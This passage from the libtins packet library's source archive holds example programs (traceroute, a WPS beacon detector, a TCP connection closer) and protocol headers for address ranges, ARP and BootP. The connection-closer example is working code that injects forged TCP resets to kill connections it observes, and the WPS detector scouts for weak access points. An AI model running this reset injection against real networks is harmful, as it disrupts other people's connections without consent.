EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ #include #include #include #include using std::string; using std::bind; using std::cout; using std::endl; using std::exception; using namespace Tins; // This example will capture TCP packets and send packet that will reset // the connection when it captures a packet with the SYN and ACK flags on. class tcp_connection_closer { public: tcp_connection_closer() { } void run(const string& interface) { using std::placeholders::_1; // Make the PacketSender use this interface by default sender_.default_interface(interface); // Create the sniffer configuration SnifferConfiguration config; config.set_filter("tcp"); // We want to get the packets as fast as possible config.set_immediate_mode(true); // Create the sniffer and start the capture Sniffer sniffer(interface, config); sniffer.sniff_loop(bind(&tcp_connection_closer::callback, this, _1)); } private: bool callback(const PDU& pdu) { const EthernetII& eth = pdu.rfind_pdu(); const IP& ip = pdu.rfind_pdu(); const TCP& tcp = pdu.rfind_pdu(); // We'll only close a connection when seeing a SYN|ACK if (tcp.flags() == (TCP::SYN | TCP::ACK)) { // Create an ethernet header flipping the addresses EthernetII packet(eth.src_addr(), eth.dst_addr()); // Do the same for IP packet /= IP(ip.src_addr(), ip.dst_addr()); // Flip TCP ports TCP response_tcp(tcp.sport(), tcp.dport()); // Set RST|ACK flags response_tcp.flags(TCP::RST | TCP::ACK); // Use the right sequence and ack numbers response_tcp.seq(tcp.ack_seq()); response_tcp.ack_seq(tcp.seq()); // Add this PDU to the packet we'll send packet /= response_tcp; // Send it! sender_.send(packet); } return true; } PacketSender sender_; }; int main(int argc, char* argv[]) { if (argc != 2) { cout << "Usage: " << *argv << " " << endl; return 1; } try { tcp_connection_closer closer; closer.run(argv[1]); } catch (exception& ex) { cout << "[-] Error: " << ex.what() << endl; return 1; } }libtins-3.4/examples/traceroute.cpp000066400000000000000000000147121267017344500175410ustar00rootroot00000000000000/* * Copyright (c) 2016, Matias Fontanini * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ #ifdef _WIN32 #define NOMINMAX #endif // _WIN32 // Fix for gcc 4.6 #define _GLIBCXX_USE_NANOSLEEP #include #include #include #include #include #include #include #include #include #include #include using std::cout; using std::endl; using std::move; using std::map; using std::min; using std::setw; using std::atomic; using std::runtime_error; using std::string; using std::to_string; using std::thread; using std::this_thread::sleep_for; using std::lock_guard; using std::mutex; using std::random_device; using std::numeric_limits; using std::bind; using std::chrono::milliseconds; using namespace Tins; class Traceroute { public: typedef std::map result_type; Traceroute(NetworkInterface interface, IPv4Address address) : iface(interface), addr(address), lowest_dest_ttl(numeric_limits::max()) { sequence = random_device()() & 0xffff; } result_type trace() { SnifferConfiguration config; config.set_promisc_mode(false); // ICMPs that aren't sent from us. config.set_filter( "ip proto \\icmp and not src host " + iface.addresses().ip_addr.to_string()); Sniffer sniffer(iface.name(), config); PacketSender sender; // Create our handler auto handler = bind( &Traceroute::sniff_callback, this, std::placeholders::_1 ); // We're running running = true; // Start the sniff thread thread sniff_thread( [&]() { sniffer.sniff_loop(handler); } ); send_packets(sender); sniff_thread.join(); // If the final hop responded, add its address at the appropriate ttl if (lowest_dest_ttl != numeric_limits::max()) { results[lowest_dest_ttl] = addr; } // Clear our results and return what we've found return move(results); } private: typedef map ttl_map; void send_packets(PacketSender& sender) { // ICMPs are icmp-requests by default IP ip = IP(addr, iface.addresses().ip_addr) / ICMP(); ICMP& icmp = ip.rfind_pdu(); icmp.sequence(sequence); // We'll find at most 20 hops. for (auto i = 1; i <= 20; ++i) { // Set this ICMP id icmp.id(i); // Set the time-to-live option ip.ttl(i); // Critical section { lock_guard _(lock); ttls[i] = i; } sender.send(ip); // Give it a little time sleep_for(milliseconds(100)); } running = false; sender.send(ip); } bool sniff_callback(PDU& pdu) { // Find IP and ICMP PDUs const IP& ip = pdu.rfind_pdu(); const ICMP& icmp = pdu.rfind_pdu(); // Check if this is an ICMP TTL exceeded error response if (icmp.type() == ICMP::TIME_EXCEEDED) { // Fetch the IP PDU attached to the ICMP response const IP inner_ip = pdu.rfind_pdu().to(); // Now get the ICMP layer const ICMP& inner_icmp = inner_ip.rfind_pdu(); // Make sure this is one of our packets. if (inner_icmp.sequence() == sequence) { ttl_map::const_iterator iter; // Critical section { std::lock_guard _(lock); iter = ttls.find(inner_icmp.id()); } // It's an actual response if(iter != ttls.end()) { // Store it results[inner_icmp.id()] = ip.src_addr(); } } } // Otherwise, this could be the final hop making an echo response else if (icmp.type() == ICMP::ECHO_REPLY && icmp.sequence() == sequence && ip.src_addr() == addr) { // Keep the lowest ttl seen for the destination. lowest_dest_ttl = min(lowest_dest_ttl, static_cast(icmp.id())); } return running; } NetworkInterface iface; IPv4Address addr; atomic running; ttl_map ttls; result_type results; mutex lock; uint16_t sequence; int lowest_dest_ttl; }; int main(int argc, char* argv[]) { if (argc <= 1) { cout << "Usage: " <<* argv << " " << endl; return 1; } try { IPv4Address addr = string(argv[1]); Traceroute tracer(addr, addr); auto results = tracer.trace(); if (results.empty()) { cout << "No hops found" << endl; } else { cout << "Results: " << endl; for(const auto& entry : results) { cout << setw(2) << entry.first << " - " << entry.second << endl; } } } catch (runtime_error& ex) { cout << "Error - " << ex.what() << endl; return 2; } } libtins-3.4/examples/wps_detect.cpp000066400000000000000000000056671267017344500175360ustar00rootroot00000000000000/* * Copyright (c) 2016, Matias Fontanini * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ #include #include #include #include using namespace Tins; // BSSIDs which we've already seen std::set> addrs; // This will be the content of the OUI field in the vendor specific // tagged option if it's a WPS tag. const HWAddress<3> expected_oui("00:50:F2"); bool handler(const PDU& pdu) { const Dot11Beacon& beacon = pdu.rfind_pdu(); // Only process it once if(addrs.insert(beacon.addr3()).second) { // Iterate the tagged options for(const auto& opt : beacon.options()) { // Is this a vendor-specific tag? if(opt.option() == Dot11::VENDOR_SPECIFIC) { // Make sure there's enough size for the OUI + identifier if(opt.data_size() >= 4) { // Retrieve the OUI field HWAddress<3> addr = opt.data_ptr(); // Are we interested in this OUI and is it a WPS tag? if(addr == expected_oui && opt.data_ptr()[3] == 0x04) { std::cout << "[+] Access point: " << beacon.ssid() << " uses WPS\n"; } } } } } return true; } int main(int argc, char* argv[]) { if(argc != 2) { std::cout << "Usage: " <<* argv << " \n"; return 1; } // Only sniff beacons SnifferConfiguration config; config.set_snap_len(2000); config.set_promisc_mode(true); config.set_filter("wlan type mgt subtype beacon"); Sniffer sniffer(argv[1], config); sniffer.sniff_loop(handler); } libtins-3.4/googletest/000077500000000000000000000000001267017344500152115ustar00rootroot00000000000000libtins-3.4/include/000077500000000000000000000000001267017344500144605ustar00rootroot00000000000000libtins-3.4/include/CMakeLists.txt000066400000000000000000000000271267017344500172170ustar00rootroot00000000000000ADD_SUBDIRECTORY(tins) libtins-3.4/include/tins/000077500000000000000000000000001267017344500154355ustar00rootroot00000000000000libtins-3.4/include/tins/CMakeLists.txt000066400000000000000000000002521267017344500201740ustar00rootroot00000000000000FILE(GLOB INCLUDE_FILES "*.h") INSTALL( FILES ${INCLUDE_FILES} DESTINATION include/tins COMPONENT Headers ) ADD_SUBDIRECTORY(dot11) ADD_SUBDIRECTORY(tcp_ip) libtins-3.4/include/tins/address_range.h000066400000000000000000000234151267017344500204140ustar00rootroot00000000000000/* * Copyright (c) 2016, Matias Fontanini * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ #ifndef TINS_ADDRESS_RANGE #define TINS_ADDRESS_RANGE #include #include #include "endianness.h" #include "internals.h" namespace Tins { /** * \brief AddressRange iterator class. */ template class AddressRangeIterator : public std::iterator { public: typedef typename std::iterator::value_type value_type; struct end_iterator { }; /** * Constructs an iterator. * * \param first The address held by this iterator. */ AddressRangeIterator(const value_type& address) : address_(address), reached_end_(false) { } /** * Constructs an iterator. * * \param first The address held by this iterator. */ AddressRangeIterator(const value_type& address, end_iterator) : address_(address) { reached_end_ = Internals::increment(address_); } /** * Retrieves the current address pointed by this iterator. */ const value_type& operator*() const { return address_; } /** * Retrieves a pointer to the current address pointed by this iterator. */ const value_type* operator->() const { return& address_; } /** * Compares two iterators for equality. * * \param rhs The iterator with which to compare. */ bool operator==(const AddressRangeIterator& rhs) const { return reached_end_ == rhs.reached_end_ && address_ == rhs.address_; } /** * Compares two iterators for inequality. * * \param rhs The iterator with which to compare. */ bool operator!=(const AddressRangeIterator& rhs) const { return !(*this == rhs); } /** * Increments this iterator. */ AddressRangeIterator& operator++() { reached_end_ = Internals::increment(address_); return* this; } /** * Increments this iterator. */ AddressRangeIterator operator++(int) { AddressRangeIterator copy(*this); (*this)++; return copy; } private: Address address_; bool reached_end_; }; /** * \brief Represents a range of addresses. * * This class provides a begin()/end() interface which allows * iterating through every address stored in it. * * Note that when iterating a range that was created using * operator/(IPv4Address, int) and the analog for IPv6, the * network and broadcast addresses are discarded: * * \code * auto range = IPv4Address("192.168.5.0") / 24; * for(const auto& addr : range) { * // process 192.168.5.1-254, .0 and .255 are discarded * process(addr); * } * * // That's only valid for iteration, not for AddressRange<>::contains * * assert(range.contains("192.168.5.0")); // works * assert(range.contains("192.168.5.255")); // works * \endcode * * Ranges created using AddressRange(address_type, address_type) * will allow the iteration over the entire range: * * \code * AddressRange range("192.168.5.0", "192.168.5.255"); * for(const auto& addr : range) { * // process 192.168.5.0-255, no addresses are discarded * process(addr); * } * * assert(range.contains("192.168.5.0")); // still valid * assert(range.contains("192.168.5.255")); // still valid * \endcode * */ template class AddressRange { public: /** * The type of addresses stored in the range. */ typedef Address address_type; /** * The iterator type. */ typedef AddressRangeIterator const_iterator; /** * \brief The iterator type. * * This is the same type as const_iterator, since the * addresses stored in this range are read only. */ typedef const_iterator iterator; /** * \brief Constructs an address range from two addresses. * * The range will consist of the addresses [first, last]. * * If only_hosts is true, then the network and broadcast addresses * will not be available when iterating the range. * * If last < first, an std::runtime_error exception is thrown. * * \param first The first address in the range. * \param last The last address(inclusive) in the range. * \param only_hosts Indicates whether only host addresses * should be accessed when using iterators. */ AddressRange(const address_type& first, const address_type& last, bool only_hosts = false) : first_(first), last_(last), only_hosts_(only_hosts){ if (last_ < first_) { throw std::runtime_error("Invalid address range"); } } /** * \brief Creates an address range from a base address * and a network mask. * * \param first The base address. * \param mask The network mask to be used. */ static AddressRange from_mask(const address_type& first, const address_type& mask) { return AddressRange( first, Internals::last_address_from_mask(first, mask), true ); } /** * \brief Indicates whether an address is included in this range. * \param addr The address to test. * \return a bool indicating whether the address is in the range. */ bool contains(const address_type& addr) const { return (first_ < addr && addr < last_) || addr == first_ || addr == last_; } /** * \brief Returns an interator to the beginning of this range. * \brief const_iterator pointing to the beginning of this range. */ const_iterator begin() const { address_type addr = first_; if (only_hosts_) { Internals::increment(addr); } return const_iterator(addr); } /** * \brief Returns an interator to the end of this range. * \brief const_iterator pointing to the end of this range. */ const_iterator end() const { address_type addr = last_; if (only_hosts_) { Internals::decrement(addr); } return const_iterator(addr, typename const_iterator::end_iterator()); } /** * \brief Indicates whether this range is iterable. * * Iterable ranges are those for which there is at least one * address that could represent a host. For IPv4 ranges, a /31 or * /32 ranges does not contain any, therefore it's not iterable. * The same is true for /127 and /128 IPv6 ranges. * * If is_iterable returns false for a range, then iterating it * through the iterators returned by begin() and end() is * undefined. * * \return bool indicating whether this range is iterable. */ bool is_iterable() const { // Since first < last, it's iterable if (!only_hosts_) { return true; } // We need that distance(first, last) >= 4 address_type addr(first_); for (int i = 0; i < 3; ++i) { // If there's overflow before the last iteration, we're done if (Internals::increment(addr) && i != 2) { return false; } } // If addr <= last, it's OK. return addr < last_ || addr == last_; } private: address_type first_, last_; bool only_hosts_; }; /** * An IPv4 address range. */ typedef AddressRange IPv4Range; /** * An IPv6 address range. */ typedef AddressRange IPv6Range; /** * \brief Constructs an AddressRange from a base address and a mask. * \param addr The range's first address. * \param mask The bit-length of the prefix. */ template AddressRange > operator/(const HWAddress& addr, int mask) { if (mask > 48) { throw std::logic_error("Prefix length cannot exceed 48"); } HWAddress last_addr; typename HWAddress::iterator it = last_addr.begin(); while (mask > 8) { *it = 0xff; ++it; mask -= 8; } *it = 0xff << (8 - mask); return AddressRange >::from_mask(addr, last_addr); } /** * \brief Constructs an IPv6Range from a base IPv6Address and a mask. * \param addr The range's first address. * \param mask The bit-length of the prefix. */ IPv6Range operator/(const IPv6Address& addr, int mask); /** * \brief Constructs an IPv4Range from a base IPv4Address and a mask. * \param addr The range's first address. * \param mask The bit-length of the prefix. */ IPv4Range operator/(const IPv4Address& addr, int mask); } // namespace Tins #endif // TINS_ADDRESS_RANGE libtins-3.4/include/tins/arp.h000066400000000000000000000232231267017344500163720ustar00rootroot00000000000000/* * Copyright (c) 2016, Matias Fontanini * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ #ifndef TINS_ARP_H #define TINS_ARP_H #include "macros.h" #include "pdu.h" #include "endianness.h" #include "hw_address.h" #include "ip_address.h" namespace Tins { class NetworkInterface; class EthernetII; /** * \class ARP * \brief Represents an ARP PDU. * */ class TINS_API ARP : public PDU { public: /** * The type of the hardware address. */ typedef HWAddress<6> hwaddress_type; /** * The type of the IP address. */ typedef IPv4Address ipaddress_type; /** * \brief This PDU's flag. */ static const PDU::PDUType pdu_flag = PDU::ARP; /** * \brief Enum which indicates the type of ARP packet. */ enum Flags { REQUEST = 0x0001, REPLY = 0x0002 }; /** * \brief Extracts metadata for this protocol based on the buffer provided * * \param buffer Pointer to a buffer * \param total_sz Size of the buffer pointed by buffer */ static metadata extract_metadata(const uint8_t *buffer, uint32_t total_sz); /** * \brief Constructs an ARP object using the provided addresses. * * ARP requests and replies can be constructed easily using * ARP::make_arp_request/reply static member functions. * * \sa ARP::make_arp_request * \sa ARP::make_arp_reply * * \param target_ip The target IP address. * \param sender_ip The sender IP address. * \param target_hw The target hardware address. * \param sender_hw The sender hardware address. */ ARP(ipaddress_type target_ip = ipaddress_type(), ipaddress_type sender_ip = ipaddress_type(), const hwaddress_type& target_hw = hwaddress_type(), const hwaddress_type& sender_hw = hwaddress_type()); /** * \brief Constructs an ARP object from a buffer. * * If there is not enough size for an ARP header in the buffer, * a malformed_packet exception is thrown. * * If the buffer is bigger than the size of the ARP header, * then the extra data is stored in a RawPDU. * * \param buffer The buffer from which this PDU will be constructed. * \param total_sz The total size of the buffer. */ ARP(const uint8_t* buffer, uint32_t total_sz); /* Getters */ /** * \brief Getter for the sender's hardware address. * * \return The sender hardware address. */ hwaddress_type sender_hw_addr() const { return header_.sender_hw_address; } /** * \brief Getter for the sender's IP address. * * \return The sender IP address. */ ipaddress_type sender_ip_addr() const { return ipaddress_type(header_.sender_ip_address); } /** * \brief Getter for the target's hardware address. * * \return The target hardware address. */ hwaddress_type target_hw_addr() const { return header_.target_hw_address; } /** * \brief Getter for the target's IP address. * * \return The target IP address. */ ipaddress_type target_ip_addr() const { return ipaddress_type(header_.target_ip_address); } /** * \brief Getter for the hardware address format field. * * \return The hardware address format. */ uint16_t hw_addr_format() const { return Endian::be_to_host(header_.hw_address_format); } /** * \brief Getter for the protocol address format field. * * \return The protocol address format. */ uint16_t prot_addr_format() const { return Endian::be_to_host(header_.proto_address_format); } /** * \brief Getter for the hardware address length field. * * \return The hardware address length. */ uint8_t hw_addr_length() const { return header_.hw_address_length; } /** * \brief Getter for the protocol address length field. * * \return The protocol address length. */ uint8_t prot_addr_length() const { return header_.proto_address_length; } /** * \brief Getter for the ARP opcode field. * * \return The ARP opcode. */ uint16_t opcode() const { return Endian::be_to_host(header_.opcode); } /** * \brief Getter for the header size. * \return Returns the ARP header size. * \sa PDU::header_size */ uint32_t header_size() const; /* Setters */ /** * \brief Setter for the sender's hardware address. * * \param address The new sender hardware address. */ void sender_hw_addr(const hwaddress_type& address); /** * \brief Setter for the sender's IP address. * * \param address The new sender IP address. */ void sender_ip_addr(ipaddress_type address); /** * \brief Setter for the target's hardware address. * * \param address The new target hardware address. */ void target_hw_addr(const hwaddress_type& address); /** * \brief Setter for the target's IP address. * * \param address The new target IP address. */ void target_ip_addr(ipaddress_type address); /** * \brief Setter for the hardware address format field. * * \param format The new hardware address format. */ void hw_addr_format(uint16_t format); /** * \brief Setter for the protocol address format field. * * \param format The new protocol address format. */ void prot_addr_format(uint16_t format); /** * \brief Setter for the hardware address length field. * * \param length The new hardware address length. */ void hw_addr_length(uint8_t length); /** * \brief Setter for the protocol address length field. * * \param length The new protocol address length. */ void prot_addr_length(uint8_t length); /** * \brief Setter for the ARP opcode field. * * \param code Flag enum value of the ARP opcode to set. */ void opcode(Flags code); /** * \brief Getter for the PDU's type. * \sa PDU::pdu_type */ PDUType pdu_type() const { return pdu_flag; } /** * \brief Creates an ARP Request within an EthernetII PDU. * * Creates an ARP Request PDU and embeds it inside an EthernetII * PDU. * * \param target The target's IP address. * \param sender The sender's IP address. * \param hw_snd The sender's hardware address. * \return EthernetII object containing the ARP Request. */ static EthernetII make_arp_request(ipaddress_type target, ipaddress_type sender, const hwaddress_type& hw_snd = hwaddress_type()); /** * \brief Creates an ARP Reply within an EthernetII PDU. * * Creates an ARP Reply PDU and embeds it inside an EthernetII * PDU. * * \param target The target's IP address. * \param sender The sender's IP address. * \param hw_tgt The target's hardware address. * \param hw_snd The sender's hardware address. * \return EthetnetII containing the ARP Replay. */ static EthernetII make_arp_reply(ipaddress_type target, ipaddress_type sender, const hwaddress_type& hw_tgt = hwaddress_type(), const hwaddress_type& hw_snd = hwaddress_type()); /** * \brief Check whether ptr points to a valid response for this PDU. * * \sa PDU::matches_response * \param ptr The pointer to the buffer. * \param total_sz The size of the buffer. */ bool matches_response(const uint8_t* ptr, uint32_t total_sz) const; /** * \sa PDU::clone */ ARP* clone() const { return new ARP(*this); } private: TINS_BEGIN_PACK struct arp_header { uint16_t hw_address_format; uint16_t proto_address_format; uint8_t hw_address_length; uint8_t proto_address_length; uint16_t opcode; uint8_t sender_hw_address[hwaddress_type::address_size]; uint32_t sender_ip_address; uint8_t target_hw_address[hwaddress_type::address_size]; uint32_t target_ip_address; } TINS_END_PACK; void write_serialization(uint8_t* buffer, uint32_t total_sz, const PDU* parent); arp_header header_; }; } // Tins #endif // TINS_ARP_H libtins-3.4/include/tins/bootp.h000066400000000000000000000233501267017344500167340ustar00rootroot00000000000000/* * Copyright (c) 2016, Matias Fontanini * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ #ifndef TINS_BOOTP_H #define TINS_BOOTP_H #include #include #include #include "pdu.h" #include "macros.h" #include "endianness.h" #include "ip_address.h" #include "hw_address.h" namespace Tins { /** * \class BootP * \brief Represents a BootP PDU */ class TINS_API BootP : public PDU { public: /** * The type of the IP addresses. */ typedef IPv4Address ipaddress_type; /** * The type of the chaddr field. */ typedef HWAddress<16> chaddr_type; /** * The type of the vend field. */ typedef std::vector vend_type; /** * \brief This PDU's flag. */ static const PDU::PDUType pdu_flag = PDU::BOOTP; /** * \brief Enum which contains the different opcodes BootP messages. */ enum OpCodes { BOOTREQUEST = 1, BOOTREPLY = 2 }; /** * \brief Creates an instance of BootP. * * This sets the size of the vend field to 64, as the BootP RFC * states. */ BootP(); /** * \brief Constructs a BootP object from a buffer . * * If there's not enough size for a BootP header, then a * malformed_packet exception is thrown. * * \param buffer The buffer from which this PDU will be constructed. * \param total_sz The total size of the buffer. * \param vend_field_size The vend field size to allocate. * Subclasses might use 0 to provide their own interpretation of this field. */ BootP(const uint8_t* buffer, uint32_t total_sz, uint32_t vend_field_size = 64); /* Getters */ /** * \brief Getter for the opcode field. * \return The opcode field for this BootP PDU. */ uint8_t opcode() const { return bootp_.opcode; } /** * \brief Getter for the htype field. * \return The htype field for this BootP PDU. */ uint8_t htype() const { return bootp_.htype; } /** * \brief Getter for the hlen field. * \return The hlen field for this BootP PDU. */ uint8_t hlen() const { return bootp_.hlen; } /** * \brief Getter for the hops field. * \return The hops field for this BootP PDU. */ uint8_t hops() const { return bootp_.hops; } /** * \brief Getter for the xid field. * \return The xid field for this BootP PDU. */ uint32_t xid() const { return Endian::be_to_host(bootp_.xid); } /** * \brief Getter for the secs field. * \return The secs field for this BootP PDU. */ uint16_t secs() const { return Endian::be_to_host(bootp_.secs); } /** \brief Getter for the padding field. * \return The padding field for this BootP PDU. */ uint16_t padding() const { return Endian::be_to_host(bootp_.padding); } /** * \brief Getter for the ciaddr field. * \return The ciaddr field for this BootP PDU. */ ipaddress_type ciaddr() const { return ipaddress_type(bootp_.ciaddr); } /** * \brief Getter for the yiaddr field. * \return The yiaddr field for this BootP PDU. */ ipaddress_type yiaddr() const { return ipaddress_type(bootp_.yiaddr); } /** * \brief Getter for the siaddr field. * \return The siaddr field for this BootP PDU. */ ipaddress_type siaddr() const { return ipaddress_type(bootp_.siaddr); } /** * \brief Getter for the giaddr field. * \return The giaddr field for this BootP PDU. */ ipaddress_type giaddr() const { return ipaddress_type(bootp_.giaddr); } /** * \brief Getter for the chaddr field. * \return The chddr field for this BootP PDU. */ chaddr_type chaddr() const { return bootp_.chaddr; } /** * \brief Getter for the sname field. * \return The sname field for this BootP PDU. */ const uint8_t* sname() const { return bootp_.sname; } /** * \brief Getter for the file field. * \return The file field for this BootP PDU. */ const uint8_t* file() const { return bootp_.file; } /** * \brief Getter for the vend field. * \return The vend field for this BootP PDU. */ const vend_type& vend() const { return vend_; } /** * \brief Getter for the header size. * \return Returns the BOOTP header size. * \sa PDU::header_size */ uint32_t header_size() const; /* Setters */ /** * \brief Setter for the opcode field. * \param code The opcode to be set. */ void opcode(uint8_t code); /** * \brief Setter for the hardware type field. * \param type The hardware type field value to be set. */ void htype(uint8_t type); /** * \brief Setter for the hlen field. * \param length The hlen field value to be set. */ void hlen(uint8_t length); /** * \brief Setter for the hops field. * \param count The hops field value to be set. */ void hops(uint8_t count); /** * \brief Setter for the xid field. * \param identifier The xid to be set. */ void xid(uint32_t identifier); /** * \brief Setter for the secs field. * \param value The secs to be set. */ void secs(uint16_t value); /** * \brief Setter for the padding field. * \param value The padding to be set. */ void padding(uint16_t value); /** * \brief Setter for the ciaddr field. * \param address The ciaddr to be set. */ void ciaddr(ipaddress_type address); /** * \brief Setter for the yiaddr field. * \param address The yiaddr to be set. */ void yiaddr(ipaddress_type address); /** * \brief Setter for the siaddr field. * \param address The siaddr to be set. */ void siaddr(ipaddress_type address); /** * \brief Setter for the giaddr field. * \param address The giaddr to be set. */ void giaddr(ipaddress_type address); /** * \brief Setter for the chaddr field. * The new_chaddr pointer must be at least BOOTP::hlen() bytes long. * \param new_chaddr The chaddr to be set. */ template void chaddr(const HWAddress& new_chaddr) { // Copy the new addr uint8_t* end = std::copy( new_chaddr.begin(), new_chaddr.begin() + std::min(n, sizeof(bootp_.chaddr)), bootp_.chaddr ); // Fill what's left with zeros if (end < bootp_.chaddr + chaddr_type::address_size) { std::fill(end, bootp_.chaddr + chaddr_type::address_size, 0); } } /** * \brief Setter for the sname field. * \param new_sname The sname to be set. */ void sname(const uint8_t* new_sname); /** * \brief Setter for the file field. * \param new_file The file to be set. */ void file(const uint8_t* 